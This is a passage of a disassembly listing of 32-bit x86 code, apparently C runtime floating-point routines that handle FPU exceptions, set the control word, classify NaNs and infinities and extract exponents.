retn sub_420F9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_420FC1(int,int,double,int) sub_420FC1 proc near ; CODE XREF: sub_41C679+51p ; sub_41C7BF+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43D350, 0 jnz short loc_420FF6 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_421576 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_420FF6: ; CODE XREF: sub_420FC1+Aj push 0FFFFh mov dword_4DB958, 21h push [ebp+arg_C] call sub_4217E9 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_420FC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421014(int,int,double,double,int) sub_421014 proc near ; CODE XREF: sub_41C679:loc_41C73Cp ; sub_41C7BF:loc_41C882p var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_42135F add esp, 0Ch test eax, eax jnz short loc_421052 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_4210AC add esp, 18h loc_421052: ; CODE XREF: sub_421014+1Aj push [ebp+arg_0] call sub_421649 cmp dword_43D350, 0 pop ecx jnz short loc_421090 test eax, eax jz short loc_421090 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_421576 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_421090: ; CODE XREF: sub_421014+4Ej ; sub_421014+52j push eax call sub_4215FE mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_4217E9 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_421014 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4210AC proc near ; CODE XREF: sub_421014+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_4210DE mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_4210DE: ; CODE XREF: sub_4210AC+23j test cl, 2 jz short loc_4210F1 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_4210F1: ; CODE XREF: sub_4210AC+35j test cl, bl jz short loc_421103 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_421103: ; CODE XREF: sub_4210AC+47j test cl, 4 jz short loc_421116 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_421116: ; CODE XREF: sub_4210AC+5Aj test cl, 8 jz short loc_421129 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_421129: ; CODE XREF: sub_4210AC+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_4217CC test al, bl jz short loc_4211B2 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_4211B2: ; CODE XREF: sub_4210AC+FDj test al, 4 jz short loc_4211BD mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_4211BD: ; CODE XREF: sub_4210AC+108j test al, 8 jz short loc_4211C8 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_4211C8: ; CODE XREF: sub_4210AC+113j test al, 10h jz short loc_4211D2 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_4211D2: ; CODE XREF: sub_4210AC+11Ej test al, 20h jz short loc_4211DC mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_4211DC: ; CODE XREF: sub_4210AC+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_42121B cmp eax, 400h jz short loc_42120D cmp eax, 800h jz short loc_421201 cmp eax, ecx jnz short loc_421221 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_421221 ; --------------------------------------------------------------------------- loc_421201: ; CODE XREF: sub_4210AC+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_421217 ; --------------------------------------------------------------------------- loc_42120D: ; CODE XREF: sub_4210AC+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_421217: ; CODE XREF: sub_4210AC+15Fj mov [eax], ecx jmp short loc_421221 ; --------------------------------------------------------------------------- loc_42121B: ; CODE XREF: sub_4210AC+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_421221: ; CODE XREF: sub_4210AC+14Bj ; sub_4210AC+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_42124C cmp eax, 200h jz short loc_42123F cmp eax, ecx jnz short loc_421259 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_421259 ; --------------------------------------------------------------------------- loc_42123F: ; CODE XREF: sub_4210AC+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_421257 ; --------------------------------------------------------------------------- loc_42124C: ; CODE XREF: sub_4210AC+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_421257: ; CODE XREF: sub_4210AC+19Ej mov [eax], ecx loc_421259: ; CODE XREF: sub_4210AC+189j ; sub_4210AC+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_4217DA lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] nop call near ptr 26903E1h mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_4212D3 and dword ptr [esi], 0FFFFFFFEh loc_4212D3: ; CODE XREF: sub_4210AC+222j test byte ptr [eax+8], 8 jz short loc_4212DC and dword ptr [esi], 0FFFFFFFBh loc_4212DC: ; CODE XREF: sub_4210AC+22Bj test byte ptr [eax+8], 4 jz short loc_4212E5 and dword ptr [esi], 0FFFFFFF7h loc_4212E5: ; CODE XREF: sub_4210AC+234j test byte ptr [eax+8], 2 jz short loc_4212EE and dword ptr [esi], 0FFFFFFEFh loc_4212EE: ; CODE XREF: sub_4210AC+23Dj test [eax+8], bl jz short loc_4212F6 and dword ptr [esi], 0FFFFFFDFh loc_4212F6: ; CODE XREF: sub_4210AC+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_42132A dec ecx jz short loc_42131E dec ecx jz short loc_421314 dec ecx jnz short loc_42132C or byte ptr [esi+1], 0Ch jmp short loc_42132C ; --------------------------------------------------------------------------- loc_421314: ; CODE XREF: sub_4210AC+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_421326 ; --------------------------------------------------------------------------- loc_42131E: ; CODE XREF: sub_4210AC+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_421326: ; CODE XREF: sub_4210AC+270j mov [esi], ecx jmp short loc_42132C ; --------------------------------------------------------------------------- loc_42132A: ; CODE XREF: sub_4210AC+257j and [esi], edx loc_42132C: ; CODE XREF: sub_4210AC+260j ; sub_4210AC+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_42134C dec ecx jz short loc_421343 dec ecx jnz short loc_421355 and [esi], edx jmp short loc_421355 ; --------------------------------------------------------------------------- loc_421343: ; CODE XREF: sub_4210AC+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_421353 ; --------------------------------------------------------------------------- loc_42134C: ; CODE XREF: sub_4210AC+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_421353: ; CODE XREF: sub_4210AC+29Ej mov [esi], ecx loc_421355: ; CODE XREF: sub_4210AC+291j ; sub_4210AC+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_4210AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42135F proc near ; CODE XREF: sub_421014+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_42138A test byte ptr [ebp+arg_8], bl jz short loc_42138A push ebx call sub_42180C pop ecx and edi, 0FFFFFFF7h jmp loc_421554 ; --------------------------------------------------------------------------- loc_42138A: ; CODE XREF: sub_42135F+15j ; sub_42135F+1Aj test al, 4 jz short loc_4213A4 test byte ptr [ebp+arg_8], 4 jz short loc_4213A4 push 4 call sub_42180C pop ecx and edi, 0FFFFFFFBh jmp loc_421554 ; --------------------------------------------------------------------------- loc_4213A4: ; CODE XREF: sub_42135F+2Dj ; sub_42135F+33j test al, bl jz loc_42147E test byte ptr [ebp+arg_8], 8 jz loc_42147E push 8 call sub_42180C pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_421456 cmp ecx, 400h jz short loc_42142E cmp ecx, 800h jz short loc_421406 cmp ecx, eax jnz loc_421476 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427878 fld dbl_43CF50 fnstsw ax sahf ja short loc_4213FE fchs loc_4213FE: ; CODE XREF: sub_42135F+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421406: ; CODE XREF: sub_42135F+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427878 fnstsw ax sahf jbe short loc_42141E fld dbl_43CF40 jmp short loc_421426 ; --------------------------------------------------------------------------- loc_42141E: ; CODE XREF: sub_42135F+B5j fld dbl_43CF50 fchs loc_421426: ; CODE XREF: sub_42135F+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_42142E: ; CODE XREF: sub_42135F+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427878 fnstsw ax sahf jbe short loc_421446 fld dbl_43CF50 jmp short loc_42144E ; --------------------------------------------------------------------------- loc_421446: ; CODE XREF: sub_42135F+DDj fld dbl_43CF40 fchs loc_42144E: ; CODE XREF: sub_42135F+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421456: ; CODE XREF: sub_42135F+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427878 fld dbl_43CF40 fnstsw ax sahf ja short loc_42146E fchs loc_42146E: ; CODE XREF: sub_42135F+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_421474: ; CODE XREF: sub_42135F+A5j ; sub_42135F+CDj ... fstp qword ptr [ecx] loc_421476: ; CODE XREF: sub_42135F+81j and edi, 0FFFFFFFEh jmp loc_421554 ; --------------------------------------------------------------------------- loc_42147E: ; CODE XREF: sub_42135F+47j ; sub_42135F+51j test al, 2 jz loc_421554 test byte ptr [ebp+arg_8], 10h jz loc_421554 push esi xor esi, esi test al, 10h jz short loc_421499 mov esi, ebx loc_421499: ; CODE XREF: sub_42135F+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_427878 fnstsw ax sahf jz loc_421542 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_42170B mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_4214E4 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_421538 ; --------------------------------------------------------------------------- loc_4214E4: ; CODE XREF: sub_42135F+17Aj fld [ebp+var_C] fcomp dbl_427878 fnstsw ax sahf jnb short loc_4214F6 mov edx, ebx jmp short loc_4214F8 ; --------------------------------------------------------------------------- loc_4214F6: ; CODE XREF: sub_42135F+191j xor edx, edx loc_4214F8: ; CODE XREF: sub_42135F+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_42152C sub eax, ecx loc_42150F: ; CODE XREF: sub_42135F+1CBj test byte ptr [ebp+var_C], bl jz short loc_42151A test esi, esi jnz short loc_42151A mov esi, ebx loc_42151A: ; CODE XREF: sub_42135F+1B3j ; sub_42135F+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_421526 or byte ptr [ebp+var_C+3], 80h loc_421526: ; CODE XREF: sub_42135F+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_42150F loc_42152C: ; CODE XREF: sub_42135F+1ACj test edx, edx jz short loc_421538 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_421538: ; CODE XREF: sub_42135F+183j ; sub_42135F+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_421544 ; --------------------------------------------------------------------------- loc_421542: ; CODE XREF: sub_42135F+14Ej mov esi, ebx loc_421544: ; CODE XREF: sub_42135F+1E1j test esi, esi pop esi jz short loc_421551 push 10h call sub_42180C pop ecx loc_421551: ; CODE XREF: sub_42135F+1E8j and edi, 0FFFFFFFDh loc_421554: ; CODE XREF: sub_42135F+26j ; sub_42135F+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_42156B test byte ptr [ebp+arg_8], 20h jz short loc_42156B push 20h call sub_42180C pop ecx and edi, 0FFFFFFEFh loc_42156B: ; CODE XREF: sub_42135F+1F9j ; sub_42135F+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_42135F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421576(int,int,int,int,int,int,double,int) sub_421576 proc near ; CODE XREF: sub_420FC1+2Bp ; sub_421014+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421624 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_4215E1 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_4217E9 lea eax, [ebp+var_20] push eax call sub_42401D add esp, 0Ch test eax, eax jnz short loc_4215DB push esi call sub_4215FE pop ecx loc_4215DB: ; CODE XREF: sub_421576+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_4215E1: ; CODE XREF: sub_421576+14j push 0FFFFh push [ebp+arg_20] call sub_4217E9 push [ebp+arg_0] call sub_4215FE fld [ebp+arg_18] add esp, 0Ch leave retn sub_421576 endp ; =============== S U B R O U T I N E ======================================= sub_4215FE proc near ; CODE XREF: sub_421014+7Dp ; sub_421576+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_421619 jle short locret_421623 cmp eax, 3 jg short locret_421623 mov dword_4DB958, 22h retn ; --------------------------------------------------------------------------- loc_421619: ; CODE XREF: sub_4215FE+7j mov dword_4DB958, 21h locret_421623: ; CODE XREF: sub_4215FE+9j ; sub_4215FE+Ej retn sub_4215FE endp ; =============== S U B R O U T I N E ======================================= sub_421624 proc near ; CODE XREF: sub_421576+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43CE68 loc_42162B: ; CODE XREF: sub_421624+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_421641 add eax, 8 inc ecx cmp eax, offset dbl_43CF40 jl short loc_42162B xor eax, eax retn ; --------------------------------------------------------------------------- loc_421641: ; CODE XREF: sub_421624+Dj mov eax, off_43CE6C[ecx*8] retn sub_421624 endp ; =============== S U B R O U T I N E ======================================= sub_421649 proc near ; CODE XREF: sub_421014+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_421655 push 5 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421655: ; CODE XREF: sub_421649+6j test al, 8 jz short loc_42165D push 1 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_42165D: ; CODE XREF: sub_421649+Ej test al, 4 jz short loc_421665 push 2 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421665: ; CODE XREF: sub_421649+16j test al, 1 jz short loc_42166D push 3 loc_42166B: ; CODE XREF: sub_421649+Aj ; sub_421649+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: sub_421649+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_421649 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421676(double) sub_421676 proc near ; CODE XREF: sub_41C679:loc_41C6FFp ; sub_41C7BF:loc_41C845p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_421676 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421688(double,int) sub_421688 proc near ; CODE XREF: sub_42170B+82p ; sub_42170B+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_421688 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4216B1 proc near ; CODE XREF: sub_41C679+31p ; sub_41C7BF+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_4216C8 cmp [ebp+arg_0], edx jnz short loc_4216DA push 1 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216C8: ; CODE XREF: sub_4216B1+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_4216DA cmp [ebp+arg_0], edx jnz short loc_4216DA push 2 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216DA: ; CODE XREF: sub_4216B1+11j ; sub_4216B1+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_4216ED push 3 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216ED: ; CODE XREF: sub_4216B1+36j cmp cx, 7FF0h jnz short loc_421707 test [ebp+arg_4], 7FFFFh jnz short loc_421702 cmp [ebp+arg_0], edx jz short loc_421707 loc_421702: ; CODE XREF: sub_4216B1+4Aj push 4 loc_421704: ; CODE XREF: sub_4216B1+15j ; sub_4216B1+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_421707: ; CODE XREF: sub_4216B1+41j ; sub_4216B1+4Fj xor eax, eax pop ebp retn sub_4216B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42170B(double,int) sub_42170B proc near ; CODE XREF: sub_42135F+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_427878 push esi fnstsw ax sahf jnz short loc_42172B fldz xor esi, esi fstp [ebp+var_8] jmp loc_4217C1 ; --------------------------------------------------------------------------- loc_42172B: ; CODE XREF: sub_42170B+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_42179A test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_421743 cmp dword ptr [ebp+arg_0], ecx jz short loc_42179A loc_421743: ; CODE XREF: sub_42170B+31j fld [ebp+arg_0] fcomp dbl_427878 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_42175B push 1 pop eax jmp short loc_42175D ; --------------------------------------------------------------------------- loc_42175B: ; CODE XREF: sub_42170B+49j xor eax, eax loc_42175D: ; CODE XREF: sub_42170B+4Ej ; sub_42170B+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_421776 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_421770 or dword ptr [ebp+arg_0+4], 1 loc_421770: ; CODE XREF: sub_42170B+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_42175D ; --------------------------------------------------------------------------- loc_421776: ; CODE XREF: sub_42170B+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_421784 or byte ptr [ebp+arg_0+7], 80h loc_421784: ; CODE XREF: sub_42170B+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 fstp [ebp+var_8] add esp, 0Ch jmp short loc_4217C1 ; --------------------------------------------------------------------------- loc_42179A: ; CODE XREF: sub_42170B+28j ; sub_42170B+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_4217C1: ; CODE XREF: sub_42170B+1Bj ; sub_42170B+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_42170B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217CC proc near ; CODE XREF: sub_4210AC+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_4217CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217DA proc near ; CODE XREF: sub_4210AC+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_4217DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217E9 proc near ; CODE XREF: sub_41C679+13p ; sub_41C679+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_4217E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42180C proc near ; CODE XREF: sub_42135F+1Dp ; sub_42135F+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_421823 fld tbyte_43CF68 fistp [ebp+arg_0] wait loc_421823: ; CODE XREF: sub_42180C+Bj test cl, 8 jz short loc_421838 fstsw ax fld tbyte_43CF68 fstp [ebp+var_8] wait fstsw ax loc_421838: ; CODE XREF: sub_42180C+1Aj test cl, 10h jz short loc_421847 fld tbyte_43CF74 fstp [ebp+var_8] wait loc_421847: ; CODE XREF: sub_42180C+2Fj test cl, 4 jz short loc_421855 fldz fld1 fdivrp st(1), st fstp st wait loc_421855: ; CODE XREF: sub_42180C+3Ej test cl, 20h jz short locret_421860 fldpi fstp [ebp+var_8] wait locret_421860: ; CODE XREF: sub_42180C+4Cj leave retn sub_42180C endp ; =============== S U B R O U T I N E ======================================= sub_421862 proc near ; CODE XREF: sub_41C748+Fp push 30000h push 10000h call sub_424055 pop ecx pop ecx retn sub_421862 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421874 proc near ; CODE XREF: sub_4218B2:loc_4218D6j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_427888 fstp [ebp+var_8] fld dbl_427880 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_427710 fnstsw ax sahf jbe short loc_4218AE push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4218AE: ; CODE XREF: sub_421874+33j xor eax, eax leave retn sub_421874 endp ; =============== S U B R O U T I N E ======================================= sub_4218B2 proc near ; CODE XREF: sub_41C748+5p push offset aKernel32 ; "KERNEL32" call near ptr 26B0E4Bh nop test eax, eax jz short loc_4218D6 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax nop call near ptr 26E0353h test eax, eax jz short loc_4218D6 push 0 call eax ; sub_41C748 retn ; --------------------------------------------------------------------------- loc_4218D6: ; CODE XREF: sub_4218B2+Dj ; sub_4218B2+1Dj jmp sub_421874 sub_4218B2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4218DB proc near ; CODE XREF: sub_41F69F+3CBp ; DATA XREF: sub_41C760+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41D74C cmp eax, 65h pop ecx jz short loc_42191B loc_4218EF: ; CODE XREF: sub_4218DB+3Ej inc esi cmp dword_43CBE4, 1 jle short loc_421908 movsx eax, byte ptr [esi] push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_421917 ; --------------------------------------------------------------------------- loc_421908: ; CODE XREF: sub_4218DB+1Cj movsx eax, byte ptr [esi] mov ecx, off_43C9D8 mov al, [ecx+eax*2] and eax, 4 loc_421917: ; CODE XREF: sub_4218DB+2Bj test eax, eax jnz short loc_4218EF loc_42191B: ; CODE XREF: sub_4218DB+12j mov cl, byte_43CBE8 mov al, [esi] mov [esi], cl inc esi loc_421926: ; CODE XREF: sub_4218DB+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_421926 pop esi retn sub_4218DB endp ; =============== S U B R O U T I N E ======================================= sub_421935 proc near ; CODE XREF: sub_41F69F+3E2p ; DATA XREF: sub_41C760+5o ... arg_0 = dword ptr 4 mov 